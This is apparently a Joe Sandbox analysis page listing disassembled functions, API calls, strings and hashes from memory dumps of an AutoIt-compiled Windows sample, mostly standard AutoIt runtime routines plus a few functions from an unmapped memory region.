Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4212290369-3242690629
Opcode ID: d5ae181aef71155c935c62ecb1d1375cb09418d88e3f087e6fdc41cc604b64a7
Instruction ID: a908e325d3adecff6fe12dac3c63ccbfe04e357f2b778c54fdb7677932a0fb8c
Opcode Fuzzy Hash: d5ae181aef71155c935c62ecb1d1375cb09418d88e3f087e6fdc41cc604b64a7
Instruction Fuzzy Hash: A0B2C070608741DFD724DF24C884BABB7E1FF84714F14491EE89AA72A1C7B5E885EB42

Function 00F29155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F28F5F: __time64.LIBCMT ref: 00F28F69

Part of subcall function 00EC4EE5: _fseek.LIBCMT ref: 00EC4EFD

__wsplitpath.LIBCMT ref: 00F29234

Part of subcall function 00EE40FB: __wsplitpath_helper.LIBCMT ref: 00EE413B

_wcscpy.LIBCMT ref: 00F29247
_wcscat.LIBCMT ref: 00F2925A
__wsplitpath.LIBCMT ref: 00F2927F
_wcscat.LIBCMT ref: 00F29295
_wcscat.LIBCMT ref: 00F292A8

Part of subcall function 00F28FA5: _memmove.LIBCMT ref: 00F28FDE
Part of subcall function 00F28FA5: _memmove.LIBCMT ref: 00F28FED

_wcscmp.LIBCMT ref: 00F291EF

Part of subcall function 00F29734: _wcscmp.LIBCMT ref: 00F29824
Part of subcall function 00F29734: _wcscmp.LIBCMT ref: 00F29837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00F29452
_wcsncpy.LIBCMT ref: 00F294C5
DeleteFileW.KERNEL32(?,?), ref: 00F294FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00F29511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00F29522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00F29534

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 29be7388cbb388c1677a9ce0e5775ec343b231ee50f73d98c0ecae93992d99fb
Instruction ID: c156d4694b2c4cc8a73545f0510f1f622c6a56c52c344bc3d304f2ff06f61702
Opcode Fuzzy Hash: 29be7388cbb388c1677a9ce0e5775ec343b231ee50f73d98c0ecae93992d99fb
Instruction Fuzzy Hash: 8CC14BB1E00229AADF21DF95DC85EDEBBBCEF45310F0040AAF609E7141EB709A459F65

Function 00EC3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EC3074
RegisterClassExW.USER32(00000030), ref: 00EC309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EC30AF
InitCommonControlsEx.COMCTL32(?), ref: 00EC30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EC30DC
LoadIconW.USER32(000000A9), ref: 00EC30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EC3101

Strings

AutoIt v3 GUI, xrefs: 00EC3090
+, xrefs: 00EC305D
0, xrefs: 00EC3056
TaskbarCreated, xrefs: 00EC30A4

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 33aa434578d347dffff084270fdb6f1f106b634b9a44b7d4cda727a795287b91
Instruction ID: 83eb9a72e0040f19ff57657a91faeb212c3269239a95159056b0cbe06cff9654
Opcode Fuzzy Hash: 33aa434578d347dffff084270fdb6f1f106b634b9a44b7d4cda727a795287b91
Instruction Fuzzy Hash: 85316775844349AFDB10DFA4DC88AD9BFF0FB1A710F14002EE980E62A0D3B90589DF51

Function 00EC3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EC3074
RegisterClassExW.USER32(00000030), ref: 00EC309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EC30AF
InitCommonControlsEx.COMCTL32(?), ref: 00EC30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EC30DC
LoadIconW.USER32(000000A9), ref: 00EC30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EC3101

Strings

AutoIt v3 GUI, xrefs: 00EC3090
+, xrefs: 00EC305D
0, xrefs: 00EC3056
TaskbarCreated, xrefs: 00EC30A4

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 4bbe1bc266083d06212a35f80561ebbf51fee17cfaccba0398a7df6302f665df
Instruction ID: ad3e98d6b3b0618275e43733986d7da14195030992b2d94fea1664cfaf6ab19b
Opcode Fuzzy Hash: 4bbe1bc266083d06212a35f80561ebbf51fee17cfaccba0398a7df6302f665df
Instruction Fuzzy Hash: B621C5B5D5121CAFDB00DFA4EC49BDDBBF4FB09B00F00412AF915A62A0D7B54548AF91

Function 00EC708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EC4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00F852F8,?,00EC37AE,?), ref: 00EC4724

Part of subcall function 00EE050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00EC7165), ref: 00EE052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00EC71A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00EFE8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00EFE909
RegCloseKey.ADVAPI32(?), ref: 00EFE947
_wcscat.LIBCMT ref: 00EFE9A0

Strings

\, xrefs: 00EFE9C3
Software\AutoIt v3\AutoIt, xrefs: 00EC719E
\Include\, xrefs: 00EC7165
Include, xrefs: 00EFE8BF, 00EFE900

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 11101c598d0037face7468067d4adfd0221506cf497f58cf93ed6ef105a1c0b8
Instruction ID: 67998dbeab3df89be8392831c3acbfb428877c776656b7df706d9c16abf310ec
Opcode Fuzzy Hash: 11101c598d0037face7468067d4adfd0221506cf497f58cf93ed6ef105a1c0b8
Instruction Fuzzy Hash: A6719C711083099AC700EF25EC41EABBBE8FF89310B40596EF584E72B1DB71A949DB52

Function 00EC3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00EC3A50
LoadCursorW.USER32(00000000,00007F00), ref: 00EC3A5F
LoadIconW.USER32(00000063), ref: 00EC3A76
LoadIconW.USER32(000000A4), ref: 00EC3A88
LoadIconW.USER32(000000A2), ref: 00EC3A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00EC3AC0
RegisterClassExW.USER32(?), ref: 00EC3B16

Part of subcall function 00EC3041: GetSysColorBrush.USER32(0000000F), ref: 00EC3074
Part of subcall function 00EC3041: RegisterClassExW.USER32(00000030), ref: 00EC309E
Part of subcall function 00EC3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EC30AF
Part of subcall function 00EC3041: InitCommonControlsEx.COMCTL32(?), ref: 00EC30CC
Part of subcall function 00EC3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EC30DC
Part of subcall function 00EC3041: LoadIconW.USER32(000000A9), ref: 00EC30F2
Part of subcall function 00EC3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EC3101

Strings

0, xrefs: 00EC3AF4
AutoIt v3, xrefs: 00EC3B05
#, xrefs: 00EC3AFB

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: f1875a70e4f90914e1b0ddf75fa3bb205fd671f3180722a8f17fbf822e6c7962
Instruction ID: 3ed19f0c28c6714813443825ffd353d4d131578c2f3940be692f5a5bb5f489f7
Opcode Fuzzy Hash: f1875a70e4f90914e1b0ddf75fa3bb205fd671f3180722a8f17fbf822e6c7962
Instruction Fuzzy Hash: 13213EB590030CAFEB10DFA4ED09BAD7BB0EB09B15F004119E504A62A1D7B65954AF84

Function 00EC3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00EC36D2
KillTimer.USER32(?,00000001), ref: 00EC36FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00EC371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EC372A
CreatePopupMenu.USER32 ref: 00EC373E
PostQuitMessage.USER32(00000000), ref: 00EC374D

Strings

TaskbarCreated, xrefs: 00EC3725

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 35cd17b9ea2936d8dbdcdd8694e3a972d63e1f0b78a5458220984c520c2f5b9c
Instruction ID: b7f47ed47cf8aa1ad1a0e1899ed395a2bcda144e97dfe1f558d99278e1967384
Opcode Fuzzy Hash: 35cd17b9ea2936d8dbdcdd8694e3a972d63e1f0b78a5458220984c520c2f5b9c
Instruction Fuzzy Hash: DB417DB120450DBBCB10AF74EE09FFA3B95E700305F10612EF906F62A2CB669D06B361

Function 00EC3766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/AutoIt3OutputDebug, xrefs: 00EC3892
CMDLINE, xrefs: 00EC3822
/AutoIt3ExecuteScript, xrefs: 00EC38BC
CMDLINERAW, xrefs: 00EC37FB
/AutoIt3ExecuteLine, xrefs: 00EC38A7
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00EC37AE
/ErrorStdOut, xrefs: 00EC387D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 63fcf62bbc845ca10f3fdd6aa48f2e4f32b6467f46434759215cfec486baafb6
Instruction ID: 867abb04020f17a127a3b03d386473082530dd230a5cca28700114a7c69e2563
Opcode Fuzzy Hash: 63fcf62bbc845ca10f3fdd6aa48f2e4f32b6467f46434759215cfec486baafb6
Instruction Fuzzy Hash: ACA1707290022D9ADB04EBA0DE55FEEBBB9BF54300F00142DF416B7192DF759A0ACB60

Function 01630F18 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01630FE9
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0163120F

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction ID: 6c84e5193e1582e5d83386ca82b882210b5584796b2981dca132260737a89b09
Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
Instruction Fuzzy Hash: F9A11870E00209EBDB14CFA4C894BEEBBB5FF89705F208159E615BB280D7759A85CF64

Function 00EC39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00EC3A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC3A24
ShowWindow.USER32(00000000,?,?), ref: 00EC3A38
ShowWindow.USER32(00000000,?,?), ref: 00EC3A41

Strings

AutoIt v3, xrefs: 00EC39FB, 00EC3A00, 00EC3A01
edit, xrefs: 00EC3A1E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 109ef92eb9f4f67d29c30b40073c7b7f0abb18de32530b021f8e7d56c197836f
Instruction ID: 8b9ca7cb9ac26d3f6bf9fbf858096f26ff4b75da94740a181369561d6b9d7681
Opcode Fuzzy Hash: 109ef92eb9f4f67d29c30b40073c7b7f0abb18de32530b021f8e7d56c197836f
Instruction Fuzzy Hash: DCF03A705402987FEB3157636C09EBB3E7DD7C7F50B00002AB904A2270CA650800EBB0

Function 01630CE8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 143
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01630BD8: Sleep.KERNELBASE(000001F4), ref: 01630BE9

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01630E05

Strings

3SW5QKPVYH9JMWJ, xrefs: 01630E68, 01630E6B

Memory Dump Source

Source File: 00000000.00000002.1470150124.000000000162E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0162E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_162e000_J8V6dFanEo.jbxd

Similarity

API ID: CreateFileSleep
String ID: 3SW5QKPVYH9JMWJ
API String ID: 2694422964-2165188853
Opcode ID: 3ffcb8e825cba6fbb55e33a72268562b857faeaefc48ab74d59db275d7226a7b
Instruction ID: 175dfd5ae0a894c6d79248d0b558a681ef19e16130eb24b477ec7da090b5ea3a
Opcode Fuzzy Hash: 3ffcb8e825cba6fbb55e33a72268562b857faeaefc48ab74d59db275d7226a7b
Instruction Fuzzy Hash: C9516C30E04249EAEF15DBA4C814BEFBB79AF54300F004199E208BB2C0D7B90A49CB65

Function 00EC407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00EFD3D7

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

_memset.LIBCMT ref: 00EC40FC
_wcscpy.LIBCMT ref: 00EC4150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00EC4160

Strings

Line: , xrefs: 00EFD400

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 47ee968f889695e57b1761c83ad47f0abaf6229a17720c93018567387d4397fa
Instruction ID: 280e4c0fa95c030b9dc90df77d796e7a67dae4c901133618d4e72a2a06d52cc4
Opcode Fuzzy Hash: 47ee968f889695e57b1761c83ad47f0abaf6229a17720c93018567387d4397fa
Instruction Fuzzy Hash: 1E31CB71108308ABD320EB60DD46FEB77D8AB54714F10591EF6C9A20A1EF71A64ACB93

Function 00EE541D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00EE547B
_memcpy_s.LIBCMT ref: 00EE54ED
__read_nolock.LIBCMT ref: 00EE554B
__filbuf.LIBCMT ref: 00EE556E
_memset.LIBCMT ref: 00EE55B2

Part of subcall function 00EE8B28: __getptd_noexit.LIBCMT ref: 00EE8B28

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: 2367017e85ee70285972583567bcbfad44a05913f9b150d1eaa139df5cf3f0d5
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: C851BA72A00B8DDBCB248FAADC405AE77B6AF4032DF249729F835B62D1D7709D548B40

Function 00EC686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00EC4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00F852F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00EC4E0F

_free.LIBCMT ref: 00EFE263
_free.LIBCMT ref: 00EFE2AA

Part of subcall function 00EC6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00EC6BAD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00EFE039
Bad directive syntax error, xrefs: 00EFE292

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: a4bbc7c073a28aced1aa3012a0608e8b604740be7dbed34c40d0e75153ccc4e0
Instruction ID: 45cbbae0c4aaaf21fcbaef75d8e7a688516cb5ba06bf0c3612a9a8fbe3adc2aa
Opcode Fuzzy Hash: a4bbc7c073a28aced1aa3012a0608e8b604740be7dbed34c40d0e75153ccc4e0
Instruction Fuzzy Hash: 28916E7190021DAFCF04EFA4CC919EEB7B8FF05314B10542AF916BB2A1EB75A946CB50

Function 00EC35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00EC35A1,SwapMouseButtons,00000004,?), ref: 00EC35D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00EC35A1,SwapMouseButtons,00000004,?,?,?,?,00EC2754), ref: 00EC35F5
RegCloseKey.KERNELBASE(00000000,?,?,00EC35A1,SwapMouseButtons,00000004,?,?,?,?,00EC2754), ref: 00EC3617

Strings

Control Panel\Mouse, xrefs: 00EC35D2

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 35d00f86a57b2aacae23caf70a1fc4995fbebb9f719fee6bce0d5538fea630ea
Instruction ID: af8119c12fb6fa0ea32f4793acfdedba645f42f39f87a9d691ba3543c8fac2d6
Opcode Fuzzy Hash: 35d00f86a57b2aacae23caf70a1fc4995fbebb9f719fee6bce0d5538fea630ea
Instruction Fuzzy Hash: B1115A75910208BFDB20CF68DD40EEEBBB8EF45744F0194A9F809E7210D2729F45A760

